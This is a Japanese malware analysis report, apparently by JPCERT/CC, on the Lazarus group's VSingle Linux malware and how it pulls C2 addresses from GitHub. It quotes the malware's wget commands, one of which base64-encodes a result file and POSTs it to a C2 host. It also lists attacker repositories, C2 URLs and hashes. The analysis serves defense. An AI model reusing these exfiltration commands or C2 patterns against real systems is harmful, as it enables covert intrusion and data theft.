GitHubからC2サーバーの情報を取得するマルウェアVSingle
マルウェアの中には、本来のC2サーバーを隠蔽するために、DGAを使用したり、通信先情報を難読化したり、マルウェア内に偽物のC2サーバーを含ませたりするものが存在します。その他にも、C2サーバーの情報を正規のサーバーから取得するマルウェアも存在します。
最近、攻撃グループLazarusが使用するマルウェアVSingleの機能がアップデートされて、C2サーバーの情報をGitHubから取得するようになりました。今回は、VSingleのアップデート内容を中心に紹介します。なお、VSingleにはWindows OSをターゲットにしたバージョンとLinux OSをターゲットにしたものが存在しますが、ここではアップデートの内容が多いLinux OSをターゲットにしたバージョンをベースに説明します。
VSingleの概要
VSingleは、あらかじめC2サーバーとして3つの通信先が登録されています。しかし、それらの通信先から意図したデータが取得できない場合は、GitHubにアクセスして、新たなC2サーバーの情報を取得します。図1は、VSingleの動作フローです。
最初の通信では、以下のようなデータを送信します。uid
には、ホスト名、カーネルリリース番号、IPアドレスの1オクテットをハッシュ化した値が含まれます。また、upw
には、"[IPアドレス]|30.0|12b"をBase64エンコードした文字列が含まれます。
https://mantis.westlinks.net/api/soap/mc_enum.php?uid=[ランダムな数字列]&upw=[Base64文字列]
上記リクエストのレスポンスとして、C2サーバーから送信されたデータは、以下に保存されます。このデータ内に含まれる、<contents>
以降のデータがAESキー、IVデータおよびコマンド(Base64+RC4)となります。
- /tmp/.sess_%08x
以降では、VSingleの以下の特徴について解説します。
- GitHubへのアクセスパターン
- 通信方式
GitHubへのアクセスパターン
通信先を取得するGitHubレポジトリは固定ではなく、動的に生成されます。以下が、アクセスするURLのパターンです。
https://raw.githubusercontent.com/%s/%s/master/README.de
ユーザー名およびレポジトリ名は、以下の中からランダムに選択された文字列にランダムな文字列を追加したものです。
ユーザー名 | レポジトリ名 |
gar3ia | Arcan3 |
wo0d | Wr0te |
tr3e | after |
lucky | luxuryboy |
l0ve | pnpgather |
v0siej | happyv1m |
e0vvsje | laz3rpik |
polaris | d0ta |
grav1ty | Dronek |
w1inter | Panda3 |
summer | cpsponso |
ggo0dlluck |
実際に、攻撃者が使用したGitHubレポジトリには、図2のように<videolink1>タグ内にURLが含まれています。マルウェアは、GitHubレポジトリからこのURLを取得して、C2サーバーとして接続します。JPCERT/CCで確認した攻撃者の使用したGitHubレポジトリはAppendix Aをご覧ください。
通信方式
以前のVSingleは、システムコールを使用してC2サーバーと通信していましたが、wgetコマンドを使用するように変更されています。図3は、wgetコマンドを実行するコードの一部です。(Windows OSをターゲットにしたバージョンでは、これまでと変更はなく、wgetコマンドは使用せずにWindows APIを使用して通信を行います)
通常のマルウェアは、システムコールやAPIを使用してC2サーバーとの通信を行いますが、このマルウェアはwgetコマンドを実行するという、あえて痕跡の残りやすい手法を使用しています。また、通信結果は必ずファイルに保存されるという特徴があります。実際の通信時には、以下のようなコマンドが実行されます。
sh -c "wget -t 1 --server-response --no-check-certificate --user-agent=\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.24 Safari/537.36\" \"https://mantis.westlinks.net/api/soap/mc_enum.php?uid=15022694&upw=MTkyLjE2OC4yLjI0fDMwLjB8MTJi\" -O /tmp/.sess_7b00cf8e 2>&1 | awk '/^ HTTP/{print $2}'"
また、コマンド実行結果については、以下のように実行結果が保存されたファイル(/tmp/.sess_%04x)の内容をBase64エンコードしてHTTP POST通信で送信されます。
sh -c "wget -t 1 --server-response --no-check-certificate --post-data=\"uid=15022694&fipng=`base64 /tmp/.sess_%04x`\" --user-agent=\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.24 Safari/537.36\" \"https://mantis.westlinks.net/api/soap/mc_enum.php?uid=15022694&jsid=[AES Key, IV]\" -O /tmp/.sess_7b00cf8e 2>&1 | awk '/^ HTTP/{print $2}'"
おわりに
攻撃者が、C2サーバーとの通信を隠蔽するために、正規のWebサーバーを改ざんしたり、正規のクラウドサービスを利用することは多々あります。そのようなマルウェアを通信ログから発見することは困難なため、使用用途が限定されているサーバーなどでは、アクセス可能な通信先を限定するなどの対策することをお勧めします。今回紹介したマルウェアの通信先などについては、Appendixに記載していますのでご確認ください。
インシデントレスポンスグループ 朝長 秀誠
Appendix A: 攻撃者の使用したGitHubレポジトリ
- https://github.com/bgrav1ty13j/bPanda3
- https://github.com/fwo0d17n/fWr0te
- https://github.com/glucky18p/gluxuryboy
- https://github.com/gf00t18p/gpick/
- https://github.com/jv0siej21g/jlaz3rpik
Appendix B: 通信先
- https://mantis.westlinks.net/api/soap/mc_enum.php
- https://www.shipshorejob.com/ckeditor/samples/samples.php
- http://crm.vncgroup.com/cats/scripts/sphinxview.php
- https://ougreen.com/zone
- https://tecnojournals.com/general
- https://semiconductboard.com/xcror
- https://bluedragon.com/login
- https://tecnojournals.com/prest
Appendix C: マルウェアのハッシュ値
- 199ba618efc6af9280c5abd86c09cdf2d475c09c8c7ffc393a35c3d70277aed1
- 2eb16dbc1097a590f07787ab285a013f5fe235287cb4fb948d4f9cce9efa5dbc
- 414ed95d14964477bebf86dced0306714c497cde14dede67b0c1425ce451d3d7